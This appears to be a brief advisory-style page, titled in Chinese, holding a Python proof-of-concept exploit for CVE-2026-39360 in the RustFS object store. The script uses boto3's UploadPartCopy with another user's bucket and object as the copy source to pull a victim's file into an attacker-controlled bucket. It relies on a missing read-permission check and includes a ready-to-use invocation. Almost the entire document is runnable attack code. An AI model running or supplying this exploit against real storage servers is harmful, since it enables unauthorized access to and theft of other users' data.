CVE-2026-39360 RustFS权限绕过导致数据泄露

import boto3 # Conceptual PoC for CVE-2026-39360 # Demonstrates the lack of authorization check in UploadPartCopy def exploit_rustfs(target_endpoint, attacker_bucket, victim_bucket, victim_object_key): s3 = boto3.client('s3', endpoint_url=target_endpoint) # 1. Initiate a multipart upload in the attacker's controlled bucket # The attacker has full access to this bucket upload_id = s3.create_multipart_upload(Bucket=attacker_bucket, Key='exfiltrated_data.txt')['UploadId'] print(f"[+] Multipart upload initiated with ID: {upload_id}") try: # 2. Upload Part Copy from the victim's object to the attacker's upload # Vulnerability: The system checks if 'upload_id' belongs to the attacker, # but FAILS to check if the attacker has READ access to 'victim_bucket/victim_object_key'. copy_response = s3.upload_part_copy( Bucket=attacker_bucket, Key='exfiltrated_data.txt', UploadId=upload_id, PartNumber=1, CopySource={ 'Bucket': victim_bucket, 'Key': victim_object_key } ) etag = copy_response['CopyPartResult']['ETag'] print(f"[+] Part copied from victim object. ETag: {etag}") # 3. Complete the multipart upload to finalize the data ownership transfer s3.complete_multipart_upload( Bucket=attacker_bucket, Key='exfiltrated_data.txt', UploadId=upload_id, MultipartUpload={'Parts': [{'PartNumber': 1, 'ETag': etag}]} ) print("[+] Exploit successful: Victim object is now owned by the attacker.") except Exception as e: print(f"[-] Exploit failed: {e}") # Usage # exploit_rustfs('http://rustfs-server', 'attacker-bucket', 'victim-bucket', 'secret_file.pdf')